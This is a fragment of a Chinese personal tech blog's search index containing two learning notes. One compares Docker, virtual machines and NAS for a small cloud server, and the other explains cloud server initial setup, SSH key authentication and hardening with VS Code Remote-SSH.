容器本身几乎无额外系统开销 隔离强度 强——独立内核，一个 VM 崩溃不影响其他 较弱——共享内核，内核漏洞可能逃逸 可移植性 受 Hypervisor 类型限制，跨平台迁移麻烦 任何装了 Docker 的 Linux/Windows/Mac 都能跑 适用场景 需要完整 OS 环境、需要运行不同内核、需要强隔离 微服务、CI/CD、开发测试环境、快速部署 资源占用实测（以你的服务器 2C2G 为例） 跑 1 个虚拟机： Host OS 空载 ≈ 400M 虚拟机 Guest OS ≈ 400M 虚拟机内应用 ≈ 300M ──────────────────────── 总计 ≈ 1.1G 剩余 ≈ 900M（再来一个就危险了） 跑 1 个 Docker 容器： Host OS 空载 ≈ 400M Docker Engine ≈ 200M 容器（如 DVWA） ≈ 300M ──────────────────────── 总计 ≈ 900M 剩余 ≈ 1.1G（还能跑 2-3 个轻量容器） 三、NAS 的工作原理与架构 本质上就是一台小型服务器 ┌─────────────────────────────────────────────────┐ │ 你的局域网 │ │ │ │ ┌──────────┐ ┌──────────┐ ┌──────────────┐ │ │ │ 你的电脑 │ │ 手机/平板 │ │ NAS 设备 │ │ │ │ (Windows) │ │ (WiFi) │ │ │ │ │ │ │ │ │ │ 3-4块硬盘 │ │ │ │ │ │ │ │ RAID 阵列 │ │ │ └────┬─────┘ └────┬─────┘ └──────┬───────┘ │ │ │ │ │ │ │ └─────────────┼───────────────┘ │ │ │ │ │ ┌──────┴──────┐ │ │ │ 路由器 │ │ │ └──────────────┘ │ └─────────────────────────────────────────────────┘ NAS 通过 SMB/NFS/AFP 等协议，把自己伪装成\u0026quot;本地硬盘\u0026quot;的样子。你在 Windows 资源管理器里看到的 \\\\192.168.1.100\\share 实际上就是 NAS 上的一块硬盘。\nNAS 和 Docker/虚拟机的区别 对比维度 NAS Docker / 虚拟机 本质 一台专用文件存储设备 虚拟化技术 核心功能 存文件、共享文件、备份、远程访问 隔离运行应用 硬件形态 独立物理设备（群晖盒子 + 硬盘） 运行在已有服务器/PC 上 操作系统 专用的 NAS 系统（DSM / TrueNAS） 无独立 OS（容器）/ 完整 OS（VM） 主要用户 家庭文件共享、团队协作、数据备份 开发、测试、部署、安全研究 能否跑 Docker —— —— 你不需要在当前这台服务器上折腾 NAS。\n40G 磁盘做 NAS 没有实际意义。将来有需要时，另买一台设备（群晖入门款 / 树莓派 + 外置硬盘），或者云服务器上挂 100G+ 数据盘再考虑。NAS 是一个\u0026quot;有足够存储空间之后\u0026quot;的需求，不是现在的优先事项。\n四、使用场景决策表 你要做的事 用什么 原因 练 Web 渗透靶机（DVWA/Pikachu/SQLi-Labs） Docker 轻量秒开，练完 docker-compose down 立刻释放资源 练完整渗透链 VulnHub 靶机 Docker 版优先。没有 Docker 版则虚拟机 大部分热门靶机已有 Docker 版，没有的话用 VirtualBox 跑 ova 练 Linux 系统管理（systemd/内核/驱动） 宿主机本身或虚拟机 Docker 容器里没有 systemd，不是完整的 Linux 系统 练 Windows 渗透 虚拟机 没有 Windows Docker 镜像 需要强隔离（跑恶意软件/病毒分析） 虚拟机 容器共享内核，隔离不如虚拟机的完整 OS 隔离 部署个人博客 / 数据库 / 日常服务 Docker docker-compose up -d 一行搞定，升级和迁移都极其方便 学 Docker 本身（镜像/容器/Dockerfile/Compose） 这台服务器 你的所有学习和练习都在这台服务器上完成 搭建家庭文件共享 / 备份 NAS 设备（独立硬件） 这台服务器容量不够，是后续规划 五、总结 三者关系（一句话版）： 虚拟机 → 把一台物理机切成多个\u0026#34;假电脑\u0026#34;，每台有自己的 CPU/内存/OS Docker → 把应用打包成标准化箱子，在哪都能跑，共享一个 OS 内核 NAS → 插满硬盘的小服务器，专门用来存和共享文件 你的当前决策： 2C2G 服务器 → 用 Docker 跑靶机和博客（虚拟机资源不够） NAS → 以后有大量存储需求时再单独买设备 下一步：[Docker 安装与第一个容器] — 待完成\n","permalink":"https://www.renjiaxing.ren/posts/%E6%8A%80%E6%9C%AF/2026_0728_02_docker%E4%B8%8E%E8%99%9A%E6%8B%9F%E6%9C%BA%E4%B8%8Enas/","summary":"\u003ch1 id=\"docker-与虚拟机与-nas\"\u003eDocker 与虚拟机与 NAS\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e日期：2026-07-28\u003cbr\u003e\n前文：\u003ca href=\"2026_0728_01_%E4%BA%91%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%88%9D%E5%A7%8B%E9%85%8D%E7%BD%AE%E4%B8%8ESSH%E5%AF%86%E9%92%A5%E8%AE%A4%E8%AF%81.md\"\u003e2026_0728_01_云服务器初始配置与SSH密钥认证\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003chr\u003e\n\u003ch2 id=\"一三者分别是什么\"\u003e一、三者分别是什么\u003c/h2\u003e\n\u003ch3 id=\"docker容器引擎\"\u003eDocker（容器引擎）\u003c/h3\u003e\n\u003cp\u003eDocker 是一个\u003cstrong\u003e应用打包和运行平台\u003c/strong\u003e。它把应用及其所有依赖（代码、运行时、系统库、配置）打包成一个\u0026quot;镜像\u0026quot;，这个镜像可以在任何安装了 Docker 的机器上原样运行。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e核心思想：一次打包，到处运行。\n         开发环境跑得通 → 测试环境跑得通 → 生产环境跑得通。\n         因为这三个环境用的是同一个镜像，不存在\u0026#34;我机器上没问题啊\u0026#34;。\n\u003c/code\u003e\u003c/pre\u003e\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e核心概念\u003c/th\u003e\n          \u003cth\u003e是什么\u003c/th\u003e\n          \u003cth\u003e类比\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e镜像（Image）\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e应用的只读模板，包含运行应用所需的一切\u003c/td\u003e\n          \u003ctd\u003e蛋糕模具\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e容器（Container）\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e镜像的运行实例，有自己的文件系统、进程空间、网络\u003c/td\u003e\n          \u003ctd\u003e用模具做出的蛋糕\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003e仓库（Registry）\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e存放和分发镜像的地方（Docker Hub / 私有仓库）\u003c/td\u003e\n          \u003ctd\u003e模具商店\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"虚拟机virtual-machine\"\u003e虚拟机（Virtual Machine）\u003c/h3\u003e\n\u003cp\u003e虚拟机是通过\u003cstrong\u003eHypervisor\u003c/strong\u003e（虚拟机管理器）在物理硬件上模拟出一台完整的虚拟计算机。每台 VM 有自己的虚拟 CPU、内存、硬盘、网卡，以及\u003cstrong\u003e独立的操作系统内核\u003c/strong\u003e。\u003c/p\u003e\n\u003cp\u003e常见的 Hypervisor：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eVMware Workstation / VirtualBox\u003c/strong\u003e — 装在 Windows/macOS 上，你本地跑靶机用的\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eKVM\u003c/strong\u003e — Linux 内核内置，云厂商（腾讯云/阿里云/AWS）底层用的就是这个\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"nasnetwork-attached-storage网络附加存储\"\u003eNAS（Network Attached Storage，网络附加存储）\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003eNAS 是一台专门用来存文件的设备\u003c/strong\u003e，通过网线连在你的路由器上，局域网内所有设备都能访问它。本质上就是一台\u003cstrong\u003e插了很多硬盘的小型服务器\u003c/strong\u003e，只不过操作系统被简化成了文件管理专用。\u003c/p\u003e\n\u003cp\u003e常见形态：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e品牌成品\u003c/strong\u003e：群晖（Synology）/ 威联通（QNAP）——买来即用，贵但省心\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e自建 DIY\u003c/strong\u003e：旧电脑 / 树莓派 + 多块硬盘 + TrueNAS / Unraid 系统——便宜但折腾\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e注意：NAS 和 Docker/虚拟机不在同一个维度上比较。NAS 是一个\u003cstrong\u003e硬件设备 / 文件服务\u003c/strong\u003e，Docker 和虚拟机是\u003cstrong\u003e虚拟化技术\u003c/strong\u003e。你可以在 NAS 上跑 Docker，也可以在 NAS 上跑虚拟机——它们可以组合使用。\u003c/p\u003e","title":"Docker 与虚拟机与 NAS"},{"content":"云服务器初始配置与 SSH 密钥认证 日期：2026-07-28\n服务器：腾讯云轻量应用服务器 2核2G3M 40GB SSD（Ubuntu 22.04 LTS）\n一、服务器上的三个用户 云服务器上有三个用户，他们各自的身份和角色完全不同：\n用户名 UID 本质 能否直接登录 用途 root 0 Linux 超级管理员，拥有最高权限，可以做任何事情（包括删掉整个系统） ❌ 默认禁止远程登录（PermitRootLogin no） 系统底层操作，日常不使用 ubuntu 1000 腾讯云 Ubuntu 镜像默认创建的普通用户，自带 sudo 权限 ✅ 云服务商给你的初始入口，配置好之后作为备用账户 renbudang 1001 你自己创建的普通用户，也已经赋予 sudo 权限 ✅（主账户） 从今以后你日常登录和操作的账户 为什么有三个用户？ root → Linux 系统内置的超级管理员。 Ubuntu 默认禁用了它的远程登录，这是安全设计—— root 权限太大，一旦被入侵后果不可控。 日常工作不应该用 root，仅在必要时通过 sudo 提权。 ubuntu → 云服务商（腾讯云）在创建 Ubuntu 虚拟机时自动生成的。 它在你拿到服务器之前就存在了。 它是一个有 sudo 权限的普通用户，是你拿到服务器后第一个能登录的人。 配置完成后保留它作为\u0026#34;紧急备用入口\u0026#34;—— 万一你把 renbudang 的 sudo 权限弄坏了，还能用它救回来。 renbudang → 你给自己创建的日常用户。 sudo usermod -aG sudo renbudang 给了它管理员权限。 从今以后这就是\u0026#34;你\u0026#34;在服务器上的身份。 核心认知 ubuntu 不是 root，它只是一个能用 sudo 提权的普通用户（UID=1000） root 的 UID 永远是 0，这是 Linux 内核判断\u0026quot;是不是 root\u0026quot;的唯一依据 日常操作用 renbudang + sudo，不要直接以 root 身份操作 二、我们在这台服务器上做了什么 操作时间线 1. 购买创建 → 选 Ubuntu 22.04 LTS 系统镜像（纯操作系统，不装任何预装软件） → 设了 renbudang 用户和密码 → 服务器启动，获得公网 IP 2. 首次连接 → 在 Windows PowerShell 里用 ssh renbudang@公网IP 测试连接 → 初始使用密码登录 3. 生成 SSH 密钥对 → 在本地 Windows 上执行 ssh-keygen -t ed25519 → 生成了一对密钥：私钥（id_ed25519）和公钥（id_ed25519.pub） 4. 上传公钥到服务器 → 将公钥内容追加写入服务器的 ~/.ssh/authorized_keys → 服务器从此认这把私钥 5. 配置 SSH 安全加固 → 禁止 root 远程登录 → 禁止密码登录（只用密钥） → 后续连接无需输密码 三、SSH 密钥认证原理（公钥与私钥） 我的问题 \u0026ldquo;密钥公钥什么的我还是不明白，你是用 Windows 的工具创建了一个密钥，然后上传到云服务器里和用户 renbudang 绑定了吗？\u0026rdquo;\n回答 是的，核心逻辑就是你说的这样。\n具体过程：\n你的电脑（Windows） 云服务器（Ubuntu） ┌──────────────────────┐ ┌─────────────────────────┐ │ 私钥 id_ed25519 │ ← 绝不上传 → │ 公钥 authorized_keys │ │ 你自己留着，谁都不给 │ │ 可以随便贴，不怕泄露 │ │ │ │ │ │ 相当于：你的钥匙 │ │ 相当于：你装在门上的锁 │ └──────────────────────┘ └─────────────────────────┘ 基本定义 概念 是什么 位置 能不能给出去 私钥（id_ed25519） 你的数字身份凭证，用来证明\u0026quot;我就是我\u0026quot;。服务器用公钥验证你的私钥签名，确认你是持有者 C:\\Users\\Administrator\\.ssh\\id_ed25519 ❌ 绝对不给任何人。谁拿到谁就能冒充你登录 公钥（id_ed25519.pub） 与私钥配对的\u0026quot;锁\u0026quot;。数学上可以从公钥验证签名，但永远不能从公钥反推出私钥 C:\\Users\\Administrator\\.ssh\\id_ed25519.pub（本地）和 服务器 ~/.ssh/authorized_keys ✅ 可以到处贴，本来就是公开的 authorized_keys 服务器上存储\u0026quot;允许哪些公钥持有者登录\u0026quot;的文件。每一行一个公钥 服务器 ~/.ssh/authorized_keys 内容是公钥，公开也没问题 登录时发生了什么 1. 你执行 ssh renbudang@154.8.147.160 2. 服务器说：\u0026#34;你声称你是 renbudang，请证明你有对应的私钥\u0026#34; 3. 你的电脑用私钥（id_ed25519）对一段随机数据做数字签名 4. 服务器用 authorized_keys 里存储的公钥验证这个签名 5. 匹配 → 确认你就是私钥持有者 → 放行 不匹配 → 拒绝登录 整个过程中： - 私钥从来没有离开过你的电脑 - 密码根本没有被使用 - 你感觉不到这个过程，敲完命令就直接进去了 我关于这个过程的提问 \u0026ldquo;ed25519 是什么？\u0026rdquo;\nEd25519 是一种 SSH 签名算法。 它是目前公认最优的 SSH 密钥算法：\n对比维度 Ed25519 RSA（老方案） 安全等级 最高（等同 RSA 3072 bit） 需 4096 bit 才够安全 密钥长度 256 bit，极短 至少 2048 bit 签名速度 极快 慢几十倍 随机数依赖 确定性算法，不受随机数质量影响 依赖随机数质量 结论：选了 ed25519 是正确的。\n\u0026ldquo;authorized_keys 文件里的 your-email 是什么意思？\u0026rdquo;\n这是 ssh-keygen -t ed25519 -C \u0026quot;your-email\u0026quot; 中 -C（comment，注释）参数的值。当时直接复制了命令没有改成真实邮箱。它纯粹是一个标签，对认证功能没有任何影响，可以随便改成 renbudang-windows 或真实邮箱，方便以后识别这把密钥是从哪台机器生成的。\n私钥安全底线 id_ed25519 这个文件： ✅ 留在 C:\\Users\\Administrator\\.ssh\\ 下 ❌ 不要用微信/QQ/邮件发给任何人 ❌ 不要上传到 GitHub（GitHub 会自动扫描泄露的私钥） ❌ 不要复制到服务器上 它等于你的密码，只是比密码长一万倍，而且无法被暴力破解。 四、VS Code Remote-SSH 连接与 SSH 配置文件 为什么用 VS Code 而不是 Xshell Xshell/Xftp 是传统的 SSH 客户端，需要额外安装。 VS Code Remote-SSH 的优势： ✅ 你已经在用 VS Code，不需要装新软件 ✅ 终端 + 文件浏览 + 代码编辑在同一个窗口 ✅ 支持 SSH 配置文件，用别名代替 IP ✅ 连接到服务器后，终端自动就是远程环境，不需切换 如何用 VS Code 连接服务器 方式一：命令面板 1. Ctrl+Shift+P → 输入 \u0026#34;Remote-SSH: Connect to Host\u0026#34; 2. 输入 renbudang@154.8.147.160 3. 新窗口打开，左下角显示绿色 \u0026#34;SSH: 154.8.147.160\u0026#34; 4. Ctrl+` 打开终端 → 自动是服务器上的终端 方式二：SSH 配置文件（推荐） 1. Ctrl+Shift+P → \u0026#34;Remote-SSH: Open SSH Configuration File\u0026#34; 2. 选第一个（C:\\Users\\Administrator\\.ssh\\config） 3. 写入别名配置 4. 以后连接时直接选别名即可 SSH 配置文件（~/.ssh/config） 路径：C:\\Users\\Administrator\\.ssh\\config\nHost mycvm HostName 154.8.147.160 User renbudang 各字段含义：\n字段 含义 本例中的值 Host 别名，你自己起的名字，之后 ssh 别名 就能连 mycvm HostName 服务器真实 IP 或域名 154.8.147.160 User 登录用户名 renbudang 如果是非默认端口（如 2222），加一行 Port 2222。本例用默认 22，不写也行。\n为什么不叫 myvps \u0026ldquo;VPS 是更宽广的概念，CVM 是腾讯云的现代化叫法。CVM 是 VPS 的子集。\u0026rdquo;\nmycvm 更准确地描述了这台机器的实质——腾讯云轻量应用服务器，底层就是云虚拟机的现代化形态。当然名字只是个标签，叫什么都可以。\n有了别名之后 场景 你只需要输入 VS Code 连接 Ctrl+Shift+P → 选 mycvm PowerShell 直接 SSH ssh mycvm IP 地址永远不用再记了。\n五、总结：你现在拥有什么 一台云服务器： IP: 154.8.147.160 配置: 2核 2G 3Mbps 40GB SSD 系统: Ubuntu 22.04 LTS 用户: renbudang（日常用）/ ubuntu（备用） 一套安全的登录方式： 密钥算法: Ed25519 私钥位置: C:\\Users\\Administrator\\.ssh\\id_ed25519 登录方式: 密钥认证（密码登录已禁用） 常用命令: ssh renbudang@154.8.147.160 一个即将开始的计划： 下一步 → 装 Docker → 搭靶机 → 练渗透 → 考 CISP-PTE 本文是学习过程中的总结记录，后续每次重大操作都会以类似形式归档到 学习总结/ 目录下。\n","permalink":"https://www.renjiaxing.ren/posts/%E6%8A%80%E6%9C%AF/2026_0728_01_%E4%BA%91%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%88%9D%E5%A7%8B%E9%85%8D%E7%BD%AE%E4%B8%8Essh%E5%AF%86%E9%92%A5%E8%AE%A4%E8%AF%81/","summary":"\u003ch1 id=\"云服务器初始配置与-ssh-密钥认证\"\u003e云服务器初始配置与 SSH 密钥认证\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e日期：2026-07-28\u003cbr\u003e\n服务器：腾讯云轻量应用服务器 2核2G3M 40GB SSD（Ubuntu 22.04 LTS）\u003c/p\u003e\u003c/blockquote\u003e\n\u003chr\u003e\n\u003ch2 id=\"一服务器上的三个用户\"\u003e一、服务器上的三个用户\u003c/h2\u003e\n\u003cp\u003e云服务器上有三个用户，他们各自的身份和角色完全不同：\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e用户名\u003c/th\u003e\n          \u003cth\u003eUID\u003c/th\u003e\n          \u003cth\u003e本质\u003c/th\u003e\n          \u003cth\u003e能否直接登录\u003c/th\u003e\n          \u003cth\u003e用途\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eroot\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e0\u003c/td\u003e\n          \u003ctd\u003eLinux 超级管理员，拥有最高权限，可以做任何事情（包括删掉整个系统）\u003c/td\u003e\n          \u003ctd\u003e❌ 默认禁止远程登录（\u003ccode\u003ePermitRootLogin no\u003c/code\u003e）\u003c/td\u003e\n          \u003ctd\u003e系统底层操作，日常不使用\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eubuntu\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e1000\u003c/td\u003e\n          \u003ctd\u003e腾讯云 Ubuntu 镜像默认创建的普通用户，自带 \u003ccode\u003esudo\u003c/code\u003e 权限\u003c/td\u003e\n          \u003ctd\u003e✅\u003c/td\u003e\n          \u003ctd\u003e云服务商给你的初始入口，配置好之后作为备用账户\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003erenbudang\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e1001\u003c/td\u003e\n          \u003ctd\u003e你自己创建的普通用户，也已经赋予 \u003ccode\u003esudo\u003c/code\u003e 权限\u003c/td\u003e\n          \u003ctd\u003e✅（主账户）\u003c/td\u003e\n          \u003ctd\u003e从今以后你日常登录和操作的账户\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"为什么有三个用户\"\u003e为什么有三个用户？\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eroot  → Linux 系统内置的超级管理员。\n         Ubuntu 默认禁用了它的远程登录，这是安全设计——\n         root 权限太大，一旦被入侵后果不可控。\n         日常工作不应该用 root，仅在必要时通过 sudo 提权。\n\nubuntu → 云服务商（腾讯云）在创建 Ubuntu 虚拟机时自动生成的。\n         它在你拿到服务器之前就存在了。\n         它是一个有 sudo 权限的普通用户，是你拿到服务器后第一个能登录的人。\n         配置完成后保留它作为\u0026#34;紧急备用入口\u0026#34;——\n         万一你把 renbudang 的 sudo 权限弄坏了，还能用它救回来。\n\nrenbudang → 你给自己创建的日常用户。\n           sudo usermod -aG sudo renbudang 给了它管理员权限。\n           从今以后这就是\u0026#34;你\u0026#34;在服务器上的身份。\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"核心认知\"\u003e核心认知\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eubuntu\u003c/code\u003e 不是 root，它只是一个能用 \u003ccode\u003esudo\u003c/code\u003e 提权的普通用户（UID=1000）\u003c/li\u003e\n\u003cli\u003eroot 的 UID 永远是 0，这是 Linux 内核判断\u0026quot;是不是 root\u0026quot;的唯一依据\u003c/li\u003e\n\u003cli\u003e日常操作用 renbudang + sudo，不要直接以 root 身份操作\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"二我们在这台服务器上做了什么\"\u003e二、我们在这台服务器上做了什么\u003c/h2\u003e\n\u003ch3 id=\"操作时间线\"\u003e操作时间线\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e1. 购买创建\n   → 选 Ubuntu 22.04 LTS 系统镜像（纯操作系统，不装任何预装软件）\n   → 设了 renbudang 用户和密码\n   → 服务器启动，获得公网 IP\n\n2. 首次连接\n   → 在 Windows PowerShell 里用 ssh renbudang@公网IP 测试连接\n   → 初始使用密码登录\n\n3. 生成 SSH 密钥对\n   → 在本地 Windows 上执行 ssh-keygen -t ed25519\n   → 生成了一对密钥：私钥（id_ed25519）和公钥（id_ed25519.pub）\n\n4. 上传公钥到服务器\n   → 将公钥内容追加写入服务器的 ~/.ssh/authorized_keys\n   → 服务器从此认这把私钥\n\n5. 配置 SSH 安全加固\n   → 禁止 root 远程登录\n   → 禁止密码登录（只用密钥）\n   → 后续连接无需输密码\n\u003c/code\u003e\u003c/pre\u003e\u003chr\u003e\n\u003ch2 id=\"三ssh-密钥认证原理公钥与私钥\"\u003e三、SSH 密钥认证原理（公钥与私钥）\u003c/h2\u003e\n\u003ch3 id=\"我的问题\"\u003e我的问题\u003c/h3\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u0026ldquo;密钥公钥什么的我还是不明白，你是用 Windows 的工具创建了一个密钥，然后上传到云服务器里和用户 renbudang 绑定了吗？\u0026rdquo;\u003c/p\u003e","title":"云服务器初始配置与 SSH 密钥认证"}]